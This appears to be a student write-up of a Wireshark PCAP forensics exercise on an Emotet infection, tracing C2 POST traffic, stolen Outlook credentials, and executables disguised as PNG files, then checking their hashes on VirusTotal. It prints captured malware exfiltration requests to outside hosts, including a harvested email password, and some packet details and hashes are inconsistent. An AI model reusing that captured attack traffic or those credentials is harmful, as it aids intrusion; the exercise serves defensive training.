



Network Traffic Analysis

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
How is network security monitoring used to discover, investigate, and report attacks

Network security monitoring tools continuously watch network traffic and system activity for suspicious patterns. Tools like Wireshark are used to collect traffic data. Wireshark can capture network packets and take logs and inspect payloads of a suspected network attack. The main purpose of the three different sections of network security monitoring are as follows; the discovering attacks section primarily focuses on data collection to capture network packets and logs to see and detect any breaches on the network. Investigating attacks is where tools like Wireshark are used to get more in depth information about the traffic on the network. And lastly the reporting attacks is where you document your findings, you create a timeline of the attack, what all was affected and repair the systems and add more detailed prevention methods so it doesn't happen again.

2	0.000000	10.5.20.229	49200	5.1.81.68	443	TCP	66.49200 → 443 [SYN] Seq=610392 Len=0 MSS=1460 WS=256 SACK_PERM=1
3	0.134955	5.1.81.68	443	10.5.20.229	49200	TCP	54.443 → 49200 [SYN, ACK] Seq=1 Ack=1 Win=64240 Len=0 MSS=1460
4	0.154229	10.5.20.229	49200	5.1.81.68	443	TLSv1	149 Client Hello
5	0.154319	5.1.81.68	443	10.5.20.229	49200	TCP	54.443 → 49200 [ACK] Seq=1 Ack=96 Win=64240 Len=0
6	0.280637	5.1.81.68	443	10.5.20.229	49200	TLSv1	1476 Server Hello, Certificate, Server Key Exchange, Server Hello Done
7	0.303449	10.5.20.229	49200	5.1.81.68	443	TLSv1	188 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
8	0.303444	5.1.81.68	443	10.5.20.229	49200	TCP	54.443 → 49200 [ACK] Seq=1 Ack=138 Win=64240 Len=0
9	0.437266	5.1.81.68	443	10.5.20.229	49200	TCP	113 Change Cipher Spec, Encrypted Handshake Message
10	0.532028	10.5.20.229	49200	5.1.81.68	443	TCP	54.49200 → 443 [ACK] Seq=230 Ack=1462 Win=64240 Len=0
11	0.380283	10.5.20.229	49200	5.1.81.68	443	TLSv1	235 Application Data
12	0.388386	5.1.81.68	443	10.5.20.229	49200	TCP	54.443 → 49200 [ACK] Seq=1462 Ack=411 Win=64240 Len=0
13	0.393658	5.1.81.68	443	10.5.20.229	49200	TLSv1	475 Application Data
14	0.912222	10.5.20.229	10.5.20.8	80	TCP	73 Standard query 0x8d9d A api.ipify.org	
15	0.918026	10.5.20.8	10.5.20.229	80	TCP	299 Standard query response 0x8d9d A api.ipify.org CNAME nagno-19599.herokuapp.com CNAME e1a097307-934024932.us-east-1.elb.amazonaws.com	
16	0.962584	10.5.20.229	49200	5.1.81.68	443	TCP	54.49200 → 443 [ACK] Seq=411 Ack=1383 Win=63823 Len=0
17	0.993796	10.5.20.229	49200	5.1.81.68	443	TCP	54.49200 → 443 [ACK] Seq=411 Ack=1383 Win=63823 Len=0
18	0.831225	50.19.115.217	80	10.5.20.229	49210	TCP	58.80 → 49210 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460
19	0.831520	10.5.20.229	49210	50.19.115.217	80	TCP	54.49210 → 80 [ACK] Seq=1 Ack=1 Win=64240 Len=0
20	0.831733	10.5.20.229	49210	50.19.115.217	80	HTTP	142 GET / HTTP/1.1
21	0.831803	50.19.115.217	80	10.5.20.229	49210	TCP	54.80 → 49210 [ACK] Seq=1 Ack=89 Win=64240 Len=0
22	0.809814	50.19.115.217	80	10.5.20.229	49210	HTTP	261 HTTP/1.1 200 OK (text/plain)
23	0.809912	10.5.20.229	49200	5.1.81.68	443	TLSv1	379 Application Data
24	0.490606	5.1.81.68	443	10.5.20.229	49200	TCP	54.443 → 49200 [ACK] Seq=1085 Ack=736 Win=64240 Len=0
25	0.370748	10.5.20.229	49210	50.19.115.217	80	TCP	54.49210 → 80 [ACK] Seq=939 Ack=933 Win=64240 Len=0
26	0.592550	5.1.81.68	443	10.5.20.229	49200	TLSv1	1371 Application Data
27	0.612852	10.5.20.229	49200	5.1.81.68	443	TLSv1	251 Application Data
28	0.612956	5.1.81.68	443	10.5.20.229	49200	TCP	54.443 → 49200 [ACK] Seq=3220 Ack=933 Win=64240 Len=0
29	0.809964	5.1.81.68	443	10.5.20.229	49200	TLSv1	235 Application Data
30	0.803400	10.5.20.229	49200	5.1.81.68	443	TLSv1	331 Application Data

This snippet from Wireshark shows a section of packets that were captured on a network.

Investigating attacks



One example of what you could do in the investigation section is following a tcp stream from a http request to see what information was sent from the users computer

What data is captured in a PCAP file

A packet capture file or PCAP for short is a file that is used to store network traffic data that's been captured using tools like Wireshark. Inside the file you can find information about what was downloaded, viewed or published onto a network. You can find information about the IP and MAC addresses from the source device and the destination device. It contains information about HTTP request, DNS queries, or even malware payloads. It allows you to analyze file information from downloads of suspected malware to see what each file does and what it has access to inside the system it was downloaded on.

No.	Time	Source	S.Port	Destination	D. Port	Protocol	Length	Info
1	0.000000	10.5.28.229	49208	5.1.81.68	443	TCP	66	49208 → 443 [S
2	0.134845	5.1.81.68	443	10.5.28.229	49208	TCP	58	443 → 49208 [S
3	0.134995	10.5.28.229	49208	5.1.81.68	443	TCP	54	49208 → 443 [A
4	0.154229	10.5.28.229	49208	5.1.81.68	443	TLSv1	149	Client Hello
5	0.154319	5.1.81.68	443	10.5.28.229	49208	TCP	54	443 → 49208 [A
6	0.288637	5.1.81.68	443	10.5.28.229	49208	TLSv1	1476	Server Hello,
7	0.301949	10.5.28.229	49208	5.1.81.68	443	TLSv1	188	Client Key Exc
8	0.302044	5.1.81.68	443	10.5.28.229	49208	TCP	54	443 → 49208 [A
9	0.437266	5.1.81.68	443	10.5.28.229	49208	TLSv1	113	Change Cipher
10	0.532928	10.5.28.229	49208	5.1.81.68	443	TCP	54	49208 → 443 [A
11	5.388283	10.5.28.229	49208	5.1.81.68	443	TLSv1	235	Application Da
12	5.388386	5.1.81.68	443	10.5.28.229	49208	TCP	54	443 → 49208 [A
13	8.893668	5.1.81.68	443	10.5.28.229	49208	TLSv1	475	Application Da
14	8.912222	10.5.28.229		10.5.28.8		DNS	73	Standard query
15	8.961026	10.5.28.8		10.5.28.229		DNS	299	Standard query

Here you can see a small snippet of the PCAP file we are using this this investigation. The top line has headers for all what information is displayed, the packet number, time, source IP, source port, destination IP, destination port, length, and a brief info section.

These two pictures show different information you can find in these packets, the right picture shows a user downloading what they think is a .png file. The bottom picture shows a users system information that's discoverable in a TCP stream

```
GET /images/imgpaper.png HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
User-Agent: WinHTTP loader/1.0
Host: 162.216.0.163
```

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Thu, 28 May 2020 18:12:02 GMT
Content-Type: Content-type: applic
Content-Length: 503808
Connection: keep-alive
```

```
-----SYSTEM_INFO-----
MZ.....@.....
mode.


ipconfig /all

Windows IP Configuration

Host Name . . . . . : Cat-Bomb-W7-PC
Primary Dns Suffix . . . . . : catbomber.net
Mode Type . . . . . : Hybrid
IP Routing Enabled. . . . . : No
WINS Proxy Enabled. . . . . : No
DNS Suffix Search List. . . . . : catbomber.net
                                  localdomain
```

How can useful information be extracted from a PCAP using Wireshark

Wireshark is one of the most powerful tools to use while analyzing PCAP files, because it goes more in depth than just raw packet information. You can obtain the basic network information; identifying user and destination IPs to determine who is talking to who. You can easily see what network protocol is being used whether it's HTTP, or DNS for example. You can go in depth within certain packets to rebuild conversations, using tools within Wireshark like following the TCP stream you can recreate conversations that were had between two computers on websites, or chat logs. You can also reassemble infected files that may have been caused from downloading malware onto the device.



This is an example of one way useful information can be extracted from a PCAP file. TCP streams rebuild conversations the computer had to a server.

```
GET /images/cursor.png HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
User-Agent: WinHTTP loader/1.0
Host: 162.216.0.163

HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Thu, 28 May 2020 18:14:51 GMT
Content-Type: Content-type: application/octet-stream
Content-Length: 503808
Connection: keep-alive

MZ.....@.....
mode.
```

This is an example of malware that got downloaded that disguised an .exe file as a .png file the MZ tag means its a windows executable

How can forensic analysis of network traffic lead to a conclusion about a breach

Doing a forensic analysis of network traffic works much like it does in real life when identifying a crime scene. You can use PCAP files to investigate how and when a breach occurred. You can establish what normal vs suspicious activity looks like. As an analyst you're aware of what normal traffic patterns look like, correct DNS ports, and IPs are consistent throughout the search. Where as suspicious traffic can be identified through sudden spikes in traffic, unusual protocols like traffic filtering through a different DNS port than normal traffic would. You are also able to follow the TCP stream of packets to find out more information of how the packet communicated with the server and what it did or what is accessed. Using tools also allows you to build timelines of when things occurred, Wireshark keeps traces of each packet on a network which is useful to formulate a timeline of the attack.

1549	443.239420	10.5.28.229	49219	36.89.106.69	80
1565	443.952669	10.5.28.229	49213	5.1.81.68	443

The green line is a HTTP request, the default HTTP port is 80, so if a HTTP request is going through another port like 8082 its suspicious. The purple line is a HTTPS request, and the default port for HTTPS is port 443.

12886	1285.556233	10.5.28.8	51455	203.176.135.102	8082
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Here is a HTTP request that is going through port 8082, this is different from the default port 80. This is going to be some sort of suspicious traffic going to and from the users system and the server its requesting.



CATBOMBER

Network Forensics Exercise

In this exercise we need to find:

1. What is the IP address, host name, and user account name for the infected Windows client?
2. What is the other user account name and other Windows client host name?
3. What is the infected user's email password?
4. Two Windows executable files are sent in the network traffic. How does a network traffic analyst determine whether and which files are indicators of compromise



1 `http.request.method == "post"` Using this filter we find

2256 788.611939 10.5.28.229 49233 203.176.135.102 8082 HTTP 1496 POST /yas33/CAT-BOMB-W7-PC_W617601.1071BE9788304FBD0C52B1EE36701166/90 HTTP/1.1

This is a pretty large packet, so we inspect the TCP stream

```
-----SYSTEM_INFO-----

ipconfig /all

Windows IP Configuration

Host Name . . . . . : Cat-Bomb-W7-PC
Primary Dns Suffix . . . . . : catbomber.net
Node Type . . . . . : Hybrid
IP Routing Enabled. . . . . : No
WINS Proxy Enabled. . . . . : No
DNS Suffix Search List. . . . . : catbomber.net
                                localdomain

Ethernet adapter Local Area Connection:

    Connection-specific DNS Suffix  . : localdomain
    Description . . . . . : Intel(R) PRO/1000 MT Network Connection
    Physical Address. . . . . : 00-08-02-1C-47-AE
    DHCP Enabled. . . . . : Yes
    Autoconfiguration Enabled . . . . : Yes
    IPv4 Address. . . . . : 10.5.28.229(Preferred)
    Subnet Mask . . . . . : 255.255.255.0
    Lease Obtained. . . . . : Thursday, May 28, 2020 9:50:47 AM
    Lease Expires . . . . . : Friday, June 05, 2020 9:50:47 AM
    Default Gateway . . . . . : 10.5.28.1
    DHCP Server . . . . . : 10.5.28.8
    DNS Servers . . . . . : 10.5.28.8
    NetBIOS over Tcpip. . . . . : Enabled

Tunnel adapter isatap.localdomain:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . :
    Description . . . . . : Microsoft ISATAP Adapter
    Physical Address. . . . . : 00-00-00-00-00-00-E0
    DHCP Enabled. . . . . : No
    Autoconfiguration Enabled . . . . : Yes

net config workstation

Computer name                \\CAT-BOMB-W7-PC
Full Computer name          Cat-Bomb-W7-PC.catbomber.net
User name                    phillip.ghent


Workstation active on
    NetBT_Tcpip_{AD1371BC-0945-813B-7C48-EA36C6F104A3} {0008021C47AE}

Software version             Windows 7 Professional

Workstation domain           CATBOMBER
Workstation Domain DNS Name  catbomber.net
```

Upon inspecting the TCP stream we find many details that are useful for our search.

Host Name: Cat-Bomb-W7-PC
IP Address: 10.5.28.229
User Account: phillip.ghent

2  http.request.method == "post" Using the same filter we find

12886 1285.556233 10.5.28.8 51455 203.176.135.102 8082 HTTP 1477 POST /jim734/CATBOMBER-DC_W617601.6019FD9E35E11D1F54B4CABDE0F3477D/90 HTTP/1.1

Another large packet so lets inspect the TCP stream

```
-----SYSTEM_INFO-----

ipconfig /all

Windows IP Configuration

Host Name . . . . . : Catbomber-DC
Primary Dns Suffix . . . . . : catbomber.net
Node Type . . . . . : Hybrid
IP Routing Enabled. . . . . : No
WINS Proxy Enabled. . . . . : No
DNS Suffix Search List. . . . . : catbomber.net

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : 
Description . . . . . : Intel(R) PRO/1000 MT Network Connection
Physical Address. . . . . : A4-1F-72-C2-09-6A
DHCP Enabled. . . . . : No
Autoconfiguration Enabled . . . . : Yes
IPv4 Address. . . . . : 10.5.28.8(Preferred)
Subnet Mask . . . . . : 255.255.255.0
Default Gateway . . . . . : 10.5.28.1
DNS Servers . . . . . : 127.0.0.1
                        1.1.1.1
NetBIOS over Tcpip. . . . . : Enabled

Tunnel adapter isatap.{2A1BFF0D-7693-6EC3-D11D-A0C838B79390}:

Media State . . . . . : Media disconnected
Connection-specific DNS Suffix . : 
Description . . . . . : Microsoft ISATAP Adapter
Physical Address. . . . . : 00-00-00-00-00-00-E0
DHCP Enabled. . . . . : No
Autoconfiguration Enabled . . . . : Yes

net config workstation

Computer name                \\CATBOMBER-DC
Full Computer name           Catbomber-DC.catbomber.net
User name                     Administrator
```

Following this packets TCP stream we find similar information as the last packet but this time it's a different host, username, and ip address.

Host: Catbomber-DC
IP: 10.5.28.8
User Name: Administrator

3

Using the same filter as before, these are all the results that we are given. We want to inspect each one for a email and password

http.request.method == "POST"

No.	Time	Source	S.Port	Destination	D. Port	Protocol	Length	Info
1561	443.856282	10.5.28.229	49219	36.89.106.69	80	HTTP	336	POST /yas33/CAT-BOMB-W7-PC_W617601.1071BE9788304FBD0C52B1EE36701166/83/ HTTP/1.1
1600	479.398217	10.5.28.229	49220	36.89.106.69	80	HTTP	314	POST /yas33/CAT-BOMB-W7-PC_W617601.1071BE9788304FBD0C52B1EE36701166/81/ HTTP/1.1
1665	533.615532	10.5.28.229	49221	36.89.106.69	80	HTTP	273	POST /yas33/CAT-BOMB-W7-PC_W617601.1071BE9788304FBD0C52B1EE36701166/81/ HTTP/1.1
1686	566.640946	10.5.28.229	49222	36.89.106.69	80	HTTP	264	POST /yas33/CAT-BOMB-W7-PC_W617601.1071BE9788304FBD0C52B1EE36701166/81/ HTTP/1.1
2256	788.611939	10.5.28.229	49233	203.176.135.102	8082	HTTP	1496	POST /yas33/CAT-BOMB-W7-PC_W617601.1071BE9788304FBD0C52B1EE36701166/90 HTTP/1.1
12886	1285.556233	10.5.28.8	51455	203.176.135.102	8082	HTTP	1477	POST /jim734/CATBOMBER-DC_W617601.6019FD9E35E11D1F54B4CABDE0F3477D/90 HTTP/1.1

This is the TCP stream from the packet above

```
POST /yas33/CAT-BOMB-W7-PC_W617601.1071BE9788304FBD0C52B1EE36701166/81/ HTTP/1.1
Accept: */*
Content-Type: multipart/form-data; boundary=-----ARXRPHEBMXNZHSSP
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: 36.89.106.69
Content-Length: 260
Cache-Control: no-cache

-----ARXRPHEBMXNZHSSP
Content-Disposition: form-data; name="data"

pop3://mail.catbomber.net:995|phillip.ghent|gh3ntf@st

-----ARXRPHEBMXNZHSSP
Content-Disposition: form-data; name="source"


Outlook passwords
-----ARXRPHEBMXNZHSSP--

HTTP/1.1 200 OK
connection: close
server: Cowboy
date: Thu, 28 May 2020 18:04:12 GMT
content-length: 3
Content-Type: text/plain

/1/
```


Email: phillip.ghent
Email Password: gh3ntf@st

In order to filter the network traffic in order to find hidden .exe files we do the following steps



- 1. Click file in the top left
- 2. Find export objects
- 3. And export HTTP traffic

After completing those steps, this window will open. Here we want to filter by content-type: and we see 4 packets that have files with them



2835	863.253349	162.216.0.163	80	10.5.28.8	51395	HTTP	1110	HTTP/1.1	200	OK	(content-type:)
2975	865.971786	162.216.0.163	80	10.5.28.229	49281	HTTP	1052	HTTP/1.1	200	OK	(content-type:)
4585	912.315844	162.216.0.163	80	10.5.28.229	49286	HTTP	223	HTTP/1.1	200	OK	(content-type:)
9771	1080.592933	162.216.0.163	80	10.5.28.229	49564	HTTP	223	HTTP/1.1	200	OK	(content-type:)

These are the 4 packets that were found in the exported objects. We now need to go more in depth and check the TCP stream of these packets to see if we get any MZ tags to signify a .exe file

4 Let's start with this packet

2835	863.253349	162.216.0.163	80	10.5.28.8	51395	HTTP	1110	HTTP/1.1 200 OK (content-type:)
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This is the TCP stream that we get from this packet, this seems to be a legit file, so we can cross this one off the list.

Since this packet and packet 2975 have the same file we can cross that one of as well.

```
GET /ico/VidT6cErS HTTP/1.1
Connection: Keep-Alive
Host: 162.216.0.163
```

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Thu, 28 May 2020 18:11:15 GMT
Content-Type: Content-type: application/octet-stream
Content-Length: 106801
Connection: keep-alive
```

```
5.....&...g.:#.....O.';..W..}!.....Bn8'...u.8.v92c.*P.....?..^..?OR..D.u!...NZ.P..U....[...^...mx.....R(..bz...>..$.g.D.....&.{.o...
..7..;...$....c..o...d8...-...+..p<n.....IC...;...E.U....3.w...ki...d3...".J]L.WA...d....8.S.....A.
B...6*[...=K...n~.m.....BK..(..@.....E.E...|.J.....9Q-5...3.g.s.?.e:..X...~...S 'sY...D...~...!x7...R.Zc(...Ap.4$.Y~.....a)Bn.v.
...Ca...%<oTXb.{..J.'...#...Dn...4.zG'u...x..V...bkr.c!..N..k./...L.F...J;lq.M'.V6...r...r..."Z':...qA..P|...~G...$...0...7L.
..U.m.B.#...m...v.m.T...V.....|.z(..G`..U s.3.^.....pt%...@7p.E...b.E..1m..1.F...jw.....M.....&..Q...T...:r.D.
...y("...A.....J.P.Aou .....V.R.....IKU.f.j..F..G.&...~.....<.....M.
```

4585	912.315844	162.216.0.163	80	10.5.28.229	49286	HTTP	223	HTTP/1.1 200 OK (content-type:)
------	------------	---------------	----	-------------	-------	------	-----	---------------------------------

```
GET /images/imgpaper.png HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
User-Agent: WinHTTP loader/1.0
Host: 162.216.0.163
```

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Thu, 28 May 2020 18:12:02 GMT
Content-Type: Content-type: application/octet-stream
Content-Length: 503808
Connection: keep-alive
```

```
MZ.....@.....!..L.!This program cannot be run in DOS mode.
```

This TCP stream is for packet 4585, here we see that it has the windows tag MZ which means that this file has a hidden .exe file within it

We can download this file and check with virustotal to confirm that it is in fact a virus

9771	1080.592933	162.216.0.163	80	10.5.28.229	49564	HTTP	223	HTTP/1.1	200	OK	(content-type:)
------	-------------	---------------	----	-------------	-------	------	-----	----------	-----	----	-----------------

This is the TCP stream that we follow from packet 9771. Once again we see the MZ tag which means there's a .exe file within this file.

We will download this as well and continue to check if this is in fact a virus

```
GET /images/cursor.png HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
User-Agent: WinHTTP loader/1.0
Host: 162.216.0.163


HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Thu, 28 May 2020 18:14:51 GMT
Content-Type: Content-type: application/octet-stream
Content-Length: 503808
Connection: keep-alive

MZ.....@.....!...L!This program cannot be run in DOS mode.
```

After completing those TCP streams, we download the two files that we flagged as suspicious.

The files **imgpaper.png** and **cursor.png**

We now open Windows Powershell and navigate into the directory where we downloaded the files.



This is us navigating the powershell window to get to where we downloaded the files.

The command **dir**, shows the current directory that we are in.

The command **cd** moves us into a new directory

Our goal is to be in the Quarantine folder where we download the suspected viruses.

After we navigated into the quarantine folder new need to get the hash of the downloaded files.

Directory: C:\Users\CISadmin\documents\quarantine

Mode	LastWriteTime		Length	Name
----	-----	-----	-----	----
-a----	9/1/2025	6:35 PM	1950208	8888.png%3fuid=VwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgAgAC0AIAA2ACwAMgAxAwAMAB8AE0AaQBjAHIAbwBzAG8AZgB0ACAaVwBpAG4AZABvAHcAcwAgADEAMAaGAFaAcgBvAA==
-a----	9/2/2025	3:35 PM	503808	cursor.png
-a----	8/28/2025	3:26 PM	3546	dd05ce3a-a9c9-4018-8252-d579eed1e670.zip
-a----	9/2/2025	3:35 PM	503808	imgpaper.png
-a----	9/24/2019	9:56 AM	12794	InvoiceAndStatement.1nk
-a----	8/28/2025	3:34 PM	249906	samerton.png
-a----	8/28/2025	3:34 PM	679008	solar.php
-a----	8/28/2025	3:34 PM	249906	tablone.png

Here we see all of our files we've downloaded. The two we want the hash for are highlighted


```
PS C:\Users\CISadmin\documents\quarantine> Get-FileHash .\imgpaper.png
```

Algorithm	Hash	Path
----	----	----
SHA256	934C84524389ECFB3B1DFCB28F9697A2B52EA0EBCAA510469F0D2D9086BCC79A	C:\Users\CISadmin\documents\quarantine\imgpaper.png

```
PS C:\Users\CISadmin\documents\quarantine> Get-FileHash .\cursor.png
```

Algorithm	Hash	Path
----	----	----
SHA256	4E76D73F3B303E481036ADA80C2EEBA8DB2F306CBC9323748560843C80B2FED1	C:\Users\CISadmin\documents\quarantine\cursor.png

Using the command `Get-FileHash` followed by the file name we are able to get the SHA256 hash for the files which is what we need to search the file on virustotal



60 / 72 security vendors flagged this file as malicious

934c84524389ecfb3b1dfcb28f697a2b52ea0ebcaa510469f0d2d9086bcc79a

Size: 492.00 KB | Last Analysis Date: 19 days ago

imgpaper.png

peexe runtime-modules spreader persistence checks-user-input direct-cpu-clock-access

Community Score: 60 / 72

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 4

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label: trojan.emotet/erph | Threat categories: trojan | Family labels: emotet erph mansabo

Security vendors' analysis


Vendor	Detection	Vendor	Detection
AhnLab-V3	Malware/Win32_RL_Generic.R338752	Alibaba	Trojan:Win32/Mansabo.4d746be9
AliCloud	Trojan:Win/EmotetLAE	ALYac	Trojan.Agent.ERPH
Antiy-AVL	Trojan/Win32.Mansabo	Arcabit	Trojan.Agent.ERPH
Arctic Wolf	Unsafe	Avast	Win32:Trojan-gen

On [virustotal.com](https://www.virustotal.com) we can confirm that the first file **imgpaper.png** is indeed malware.

This is a trojan virus from the emotet, erph, and mansabo family.

This is the second file, **cursor.png**. We can also confirm that this is infact malware as well.

It is also a trojan virus from the same families as the one above.



61 / 72 security vendors flagged this file as malicious

4e76d73f3b303e481036ada80c2eeba8db7f306cb9323748560843c80b2fed1

Size: 492.00 KB | Last Analysis Date: 8 days ago

cursor.png

peexe direct-cpu-clock-access runtime-modules checks-user-input persistence spreader

Community Score: 61 / 72

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 9

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label: trojan.emotet/erph | Threat categories: trojan | Family labels: emotet erph mansabo

Security vendors' analysis

Vendor	Detection	Vendor	Detection
AhnLab-V3	Malware/Win32_RL_Generic.R338752	Alibaba	Trojan:Win32/Trickpak.c0a6dc59
AliCloud	Trojan:Win/EmotetLAE	ALYac	Trojan.Agent.ERPH
Antiy-AVL	Trojan/Win32.Mansabo	Arcabit	Trojan.Agent.ERPH
Arctic Wolf	Unsafe	Avast	Win32:Trojan-gen

Complete CatBomber forensic details

- 1 IP Addr, Host Name, and User Acc**

From our forensic search through the PCAP file we found the IP address is: [10.5.28.229](#), the Host Name is: [Cat-Bomb-W7-PC](#), and the User Account name is: [phillip.ghent](#)
- 2 Other User Acc, and Windows client name**

We found two different windows clients in this search the first being above as well as:
Host: [Catbomber-DC](#) IP: [10.5.28.8](#) Username: [Administrator](#)
- 3 Email Username and Password**

We found the infected users email and password in the PCAP file, Email: [phillip.ghent](#)
Email Password: [gh3ntf@st](#)
- 4 Determining which files are IOCs**

In order to find which files are IOCs in this PCAP file we first need to see if there's any importable objects in the file. Next we check the TCP stream of the packets that had files within them, to see if there's anything suspicious in the stream. We then download the files and get their hashes to search them up on virustotal to determine if it is malware or not.